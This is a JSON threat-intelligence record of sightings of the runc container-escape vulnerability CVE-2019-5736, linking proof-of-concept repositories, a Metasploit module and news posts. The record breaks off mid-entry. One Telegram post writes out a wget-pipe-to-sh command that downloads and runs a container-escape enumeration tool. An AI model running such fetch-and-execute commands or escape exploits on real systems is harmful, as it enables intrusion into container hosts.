{"vulnerability": "cve-2019-5736", "sightings": [{"uuid": "ffb734db-ef08-49b4-9e32-abc290dd3caa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "MISP/5c64330e-5558-43f7-b07b-6f5a0a021402", "content": "", "creation_timestamp": "2019-02-13T15:11:04.000000Z"}, {"uuid": "50a8b986-dfa3-4207-a232-41fdda2ba94f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "MISP/0c3d0270-4df2-43ab-aaf0-8a9696b4ad30", "content": "", "creation_timestamp": "2024-11-14T06:09:56.000000Z"}, {"uuid": "651e282c-90a8-4c34-a912-388398953274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "32fc43ac-15aa-4375-ad34-f947d0b2c843", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:16.000000Z"}, {"uuid": "171d7818-9c35-4147-9d4a-e7f480432a05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://bsky.app/profile/antitree.com/post/3lopafegkx225", "content": "", "creation_timestamp": "2025-05-09T01:07:24.275475Z"}, {"uuid": "1d724835-7d0f-49da-b0cf-148751d9d267", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lyoou2lhaa2a", "content": "", "creation_timestamp": "2025-09-13T02:05:24.785952Z"}, {"uuid": "717dc1fa-1c8e-4cd2-8723-620aa27ad6a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/docker_runc_escape.rb", "content": "", "creation_timestamp": "2021-06-30T19:00:49.000000Z"}, {"uuid": "13013fcf-7820-48d3-90a2-0de272c6a8c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lynbpdrwms2i", "content": "", "creation_timestamp": "2025-09-12T12:37:31.995903Z"}, {"uuid": "f801df3f-1b12-4c36-8098-5a50740a9929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://gist.github.com/aw-junaid/8ab7fcee3ef7f4c33bc10ae9d90c1bca", "content": "", "creation_timestamp": "2026-01-30T18:57:00.000000Z"}, {"uuid": "d346e85b-fc8e-470c-9343-b064e2da79f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://gist.github.com/namishelex01/c45e91ffc78335e7a096670758f310e6", "content": "", "creation_timestamp": "2025-12-17T18:58:48.000000Z"}, {"uuid": "6fbfdeac-2418-460e-8f82-3fccf9c1bb1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://gist.github.com/alon710/9f8ac831f6af9f331780b5f94d2f3689", "content": "", "creation_timestamp": "2026-01-24T21:32:17.000000Z"}, {"uuid": "8d372f8f-0ee7-4c56-99a2-133e428ffc79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://gist.github.com/podhmo/1168c22d1738865f4e2d61018afadf8e", "content": "", "creation_timestamp": "2026-04-10T18:28:46.000000Z"}, {"uuid": "dccb7993-e055-4823-86fb-e4cb2ff6ca92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/antichat/3584", "content": "[\u041f\u0435\u0440\u0435\u0432\u043e\u0434] \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-5736 \u0432 runc, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root \u043d\u0430 \u0445\u043e\u0441\u0442\u0435\nhttps://goo.gl/dMtqpC", "creation_timestamp": "2019-02-12T10:16:27.000000Z"}, {"uuid": "1e07a3e1-4a95-4391-b6e9-59f53365ebea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/antichat/3577", "content": "CVE-2019-5736: runc container breakout (all versions)\nhttps://seclists.org/oss-sec/2019/q1/119", "creation_timestamp": "2019-02-12T09:12:54.000000Z"}, {"uuid": "7a387aa2-6223-421b-8669-327daab596fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/antichat/3593", "content": "POC Exploit for CVE-2019-5736 (vuln in runc package for the Docker)\nhttps://github.com/feexd/pocs/tree/master/CVE-2019-5736 #poc #expdev #docker #darw1n", "creation_timestamp": "2019-02-12T19:29:06.000000Z"}, {"uuid": "beda4f72-f34b-414a-8111-ad3ea96618b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/antichat/3646", "content": "CVE-2019-5736-PoC\nhttps://github.com/Frichetten/CVE-2019-5736-PoC", "creation_timestamp": "2019-02-15T21:09:08.000000Z"}, {"uuid": "0d66f2e9-3e67-42f3-99ac-d5988c1c7f98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/antichat/3712", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736\nhttps://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2019-02-22T06:23:33.000000Z"}, {"uuid": "6db8cb6a-99fc-42e2-8d2f-655f6cb78b92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/R0_Crew/947", "content": "POC Exploit for CVE-2019-5736 (vuln in runc package for the Docker)\n\nPOC1: https://github.com/ancat/scripts/blob/master/misc/runc-cve-2019-5736.c\n\nPOC2: https://github.com/feexd/pocs/tree/master/\nCVE-2019-5736 \n\n#poc #expdev #docker #darw1n", "creation_timestamp": "2019-02-28T09:04:37.000000Z"}, {"uuid": "52f6db3a-3e4d-4a12-9118-765edfe336a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "exploited", "source": "https://t.me/BleepingComputer/4566", "content": "Vulnerable Docker Hosts Actively Abused in Cryptojacking Campaigns\n\nHundreds of vulnerable and exposed Docker hosts are being abused in cryptojacking campaigns after being compromised with the help of exploits designed to take advantage of the CVE-2019-5736 runc vulnerability discovered last month. [...]\n\nhttps://www.bleepingcomputer.com/news/security/vulnerable-docker-hosts-actively-abused-in-cryptojacking-campaigns/", "creation_timestamp": "2019-03-05T02:03:48.000000Z"}, {"uuid": "79e1e0ae-ad44-4daf-9b8c-7b2bf0b1010c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/k8security/171", "content": "\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 DEEPCE, \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0431\u0440\u0435\u0432\u0438\u0430\u0442\u0443\u0440\u043e\u0439 \u043e\u0442 \u0444\u0440\u0430\u0437\u044b Docker Enumeration, Escalation of Privileges and Container Escapes. \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u0441\u0430\u043c\u043e \u0437\u0430 \u0441\u0435\u0431\u044f.\n\n\u0414\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0435\u0441\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043d\u0430 sh \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (1234 LoC). \u041d\u043e \u0434\u043b\u044f \u0440\u044f\u0434\u0430 \u0437\u0430\u0434\u0430\u0447 \u043e\u043d \u0432\u0441\u0435 \u0436\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u0447\u0442\u043e \u0432\u043d\u0443\u0442\u0440\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u043a\u0430\u0436\u0443\u0442\u0441\u044f \u0442\u0443\u043b\u0437\u044b: curl, nmap, nslookup, dig. \u0422\u0430\u043a\u0436\u0435 \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0439\u0442\u0435, \u0447\u0442\u043e \u043f\u0440\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0440\u044f\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440\u043e\u0432 \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b, \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c runC, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u0432\u0440\u0435\u0434\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0435 - \u0431\u0443\u0434\u044c\u0442\u0435 \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u044b. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0435\u0441\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u043d\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0435\u0433\u043e \u0431\u0435\u0437 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 \u0434\u0438\u0441\u043a:\n\nwget -O - https://github.com/stealthcopter/deepce/raw/master/deepce.sh | sh\n\n\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b:\n- DOCKER     - \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 docker group\n- PRIVILEGED - \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \n- SOCK       - \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 docker sock \n- CVE-2019-5736\n- CVE-2019-5021\n- CVE-2019-13139\n\n\u041f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e \u043b\u0438 \u044d\u0442\u043e \u0432 Kubernetes? \u0414\u0430! \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u0430\u0436\u0435 \u0437\u043d\u0430\u0435\u0442 \u043f\u0440\u043e kubectl ;)", "creation_timestamp": "2020-12-22T08:12:31.000000Z"}, {"uuid": "4ccf1d7f-953e-4163-bf16-81dd5194f4f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "Telegram/ZQhPX1V8GYQ5EYOevxB04s5FpxIRBluCF7hhQG6fyoTGOeU", "content": "", "creation_timestamp": "2025-06-25T15:00:05.000000Z"}, {"uuid": "20c95d2a-af10-4a4b-b4e7-1ca74bc500da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/tech_b0lt_Genona/306", "content": "POC Exploit\nhttps://github.com/feexd/pocs/tree/master/CVE-2019-5736", "creation_timestamp": "2019-02-13T01:59:09.000000Z"}, {"uuid": "88c9f49a-85f0-406e-a535-e2ebf4620d8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/sec_devops/268", "content": "Container Breakouts\n\n\u0421\u0435\u0440\u0438\u044f \u0441\u0442\u0430\u0442\u0435\u0439, \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u043d\u0430\u044f \u0442\u043e\u043c\u0443, \u043a\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u0445\u043e\u0434 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430. \u041e\u0431 \u044d\u0442\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u0435 \u0447\u0430\u0441\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0443\u0441\u043b\u044b\u0448\u0430\u0442\u044c \u043e\u0442 \u043c\u0430\u0440\u043a\u0435\u0442\u043e\u043b\u043e\u0433\u043e\u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043f\u043e Container Runtime Security, \u043d\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f, \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435.\n\nPart 1: Access to root directory of the Host\nPart 2: Privileged Container\nPart 3: Docker Socket\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u0432\u0442\u043e\u0440 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043f\u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 CVE-2019-5736, CVE-2019-14271, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043e \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \"Abusing Privileged and Unprivileged Linux Containers \"\n\n\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0445\u043e\u0434\u0430 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430, Clint Gibler \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n#docker #ops #attack", "creation_timestamp": "2020-10-21T16:14:44.000000Z"}, {"uuid": "60bcfbc4-6c2c-46bd-b235-f0775ea84ff7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "Telegram/RwMsOgYyZ61TQbvirXcgyGDBzDVknZZaFg6QyjxxhjsKSOI", "content": "", "creation_timestamp": "2023-03-09T02:18:23.000000Z"}, {"uuid": "17442027-a82a-4c88-811e-b1b1087c7153", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "Telegram/g4VoE1BR7-TYgtzouRuMiVqJdsK3u_wFqegphm1gCtpEwg", "content": "", "creation_timestamp": "2023-11-14T23:11:28.000000Z"}, {"uuid": "26db9a9b-39d6-4aa9-87cb-db25d4ba6ea6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/2091", "content": "\u200b\u200bMicrosoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Azurescape.\n\n\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 Azure (ACI) \u043e\u0442 Microsoft - \u044d\u0442\u043e \u043e\u0431\u043b\u0430\u0447\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b) \u0432 \u043e\u0431\u043b\u0430\u043a\u0435. \u041a\u043e\u0433\u0434\u0430 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044b, ACI \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0438\u0445 \u043e\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432, \u0447\u0442\u043e\u0431\u044b \u043e\u043d\u0438 \u043d\u0435 \u043c\u043e\u0433\u043b\u0438 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433 \u0441 \u0434\u0440\u0443\u0433\u043e\u043c.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u043c\u0438 Azure, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u0445 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u043e \u0432\u0441\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u043c, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044b\u043c \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f Microsoft \u043d\u0435 \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u043d\u0438 \u0430\u0442\u0430\u043a Azurescape, \u043d\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430\u0445, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043e\u043f\u043e\u0432\u0435\u0441\u0442\u0438\u043b\u0430 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0436\u0435\u0440\u0442\u0432 \u0438\u0437 \u0447\u0438\u0441\u043b\u0430 \u0441\u0432\u043e\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u0418 \u043d\u0435 \u0437\u0440\u044f.\n\n\u0412\u0435\u0434\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0443 Palo Alto Networks \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 Azurescape.\u00a0\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u0432 ACI \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u043e\u0434 RunC v1.0.0-rc2, \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0436 2016 \u0433\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u044b Kubernetes, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u044b ACI.\u00a0\n\n\u0414\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u043a\u043e\u0434 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b \u043e\u0448\u0438\u0431\u043a\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0435\u0449\u0451 \u0432 2019 \u0433\u043e\u0434\u0443, \u043e\u0434\u043d\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 CVE-2019-5736 \u043a\u0430\u043a \u0440\u0430\u0437 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u043b\u0430 \u0432\u044b\u0445\u043e\u0434 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043d\u0430 \u0431\u0430\u0437\u043e\u0432\u043e\u043c \u0445\u043e\u0441\u0442\u0435, \u0443\u0437\u043b\u0435 Kubernetes.\n\n\u0412\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 Azurescape \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u0443\u0442\u0451\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0432 \u0442\u0440\u0430\u0444\u0438\u043a\u0435 \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0441 \u0442\u043e\u043a\u0435\u043d\u043e\u043c JWT \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\u00a0\n\n\u041a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 - \u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u043d\u0430 \u0432\u0438\u0434\u0435\u043e\ud83d\udc47", "creation_timestamp": "2021-09-10T16:43:56.000000Z"}, {"uuid": "02312963-be45-428d-a40b-cdbb07c099d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/cisoclub/4355", "content": "\u0412\u044b\u0431\u043e\u0440 \u0421\u0417\u0418 \u0434\u043b\u044f \ud83d\udd12\u0437\u0430\u0449\u0438\u0442\u044b \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 